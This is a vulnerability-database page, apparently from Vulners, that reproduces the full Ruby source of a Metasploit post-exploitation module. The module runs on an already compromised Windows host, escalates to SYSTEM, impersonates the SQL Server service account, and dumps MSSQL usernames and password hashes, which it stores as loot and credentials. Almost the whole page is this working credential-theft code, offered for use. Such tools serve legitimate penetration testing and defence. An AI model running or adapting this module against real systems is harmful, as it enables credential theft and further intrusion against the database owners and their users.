Lucene search
K

Windows Gather Local SQL Server Hash Dump

🗓️ 28 Mar 2015 20:31:35Reported by Mike Manzotti <[email protected]>, nullbindType 
metasploit
 metasploit
🔗 www.rapid7.com👁 104 Views

Windows Gather Local SQL Server Hash Dump. This module extracts usernames and password hashes from an MSSQL server and stores them as loot. It uses the same technique in mssql_local_auth_bypass

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::MSSQL

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Local SQL Server Hash Dump',
        'Description' => %q{
          This module extracts the usernames and password
          hashes from an MSSQL server and stores them as loot. It uses the
          same technique in mssql_local_auth_bypass.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mike Manzotti <mike.manzotti[at]dionach.com>',
          'nullbind' # Original technique
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'References' => [
          ['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_rev2self
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
      ]
    )
  end

  def run
    # Set instance name (if specified)
    instance = datastore['INSTANCE'].to_s

    # Display target
    print_status("Running module against #{sysinfo['Computer']}")

    # Identify available native SQL client
    get_sql_client
    fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client

    # Get LocalSystem privileges
    system_status = get_system
    fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status

    begin
      service = check_for_sqlserver(instance)
      fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service

      print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
      instance_name = service[:display].gsub('SQL Server (', '').gsub(')', '').strip

      begin
        get_sql_hash(instance_name)
      rescue RuntimeError
        # Attempt to impersonate sql server service account (for sql server 2012)
        if impersonate_sql_user(service)
          get_sql_hash(instance_name)
        end
      end
    ensure
      # return to original priv context
      session.sys.config.revert_to_self
    end
  end

  def get_sql_version(instance_name)
    vprint_status('Attempting to get version...')

    query = mssql_sql_info

    get_version_result = run_sql(query, instance_name)

    # Parse Data
    get_version_array = get_version_result.split("\n")
    version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
    if version_year
      vprint_status("MSSQL version found: #{version_year}")
      return version_year
    else
      vprint_error('MSSQL version not found')
    end
  end

  def get_sql_hash(instance_name)
    version_year = get_sql_version(instance_name)

    case version_year
    when '2000'
      hash_type = 'mssql'
      query = mssql_2k_password_hashes
    when '2005', '2008'
      hash_type = 'mssql05'
      query = mssql_2k5_password_hashes
    when '2012', '2014'
      hash_type = 'mssql12'
      query = mssql_2k5_password_hashes
    else
      fail_with(Failure::Unknown, 'Unable to determine MSSQL Version')
    end

    print_status('Attempting to get password hashes...')

    res = run_sql(query, instance_name)

    if res.include?('0x')
      # Parse Data
      if hash_type == 'mssql12'
        res = res.unpack('H*')[0].gsub('200d0a', '_CRLF_').gsub('0d0a', '').gsub('_CRLF_', '0d0a').gsub(/../) do |pair|
          pair.hex.chr
        end
      end
      hash_array = res.split("\r\n").grep(/0x/)

      store_hashes(hash_array, hash_type)
    else
      fail_with(Failure::Unknown, 'Unable to retrieve hashes')
    end
  end

  def store_hashes(hash_array, hash_type)
    # Save data
    loot_hashes = ''
    hash_array.each do |row|
      user, hash = row.strip.split

      service_data = {
        address: rhost,
        port: rport,
        service_name: 'mssql',
        protocol: 'tcp',
        workspace_id: myworkspace_id
      }

      # Initialize Metasploit::Credential::Core object
      credential_data = {
        post_reference_name: refname,
        origin_type: :session,
        private_type: :nonreplayable_hash,
        private_data: hash,
        username: user,
        session_id: session_db_id,
        jtr_format: hash_type,
        workspace_id: myworkspace_id
      }

      credential_data.merge!(service_data)

      # Create the Metasploit::Credential::Core object
      credential_core = create_credential(credential_data)

      # Assemble the options hash for creating the Metasploit::Credential::Login object
      login_data = {
        core: credential_core,
        status: Metasploit::Model::Login::Status::UNTRIED
      }

      # Merge in the service data and create our Login
      login_data.merge!(service_data)
      create_credential_login(login_data)

      print_line("#{user}:#{hash}")

      loot_hashes << "#{user}:#{hash}\n"
    end

    if loot_hashes.empty?
      return false
    else
      # Store MSSQL password hash as loot
      loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
      print_good("MSSQL password hash saved in: #{loot_path}")
      return true
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation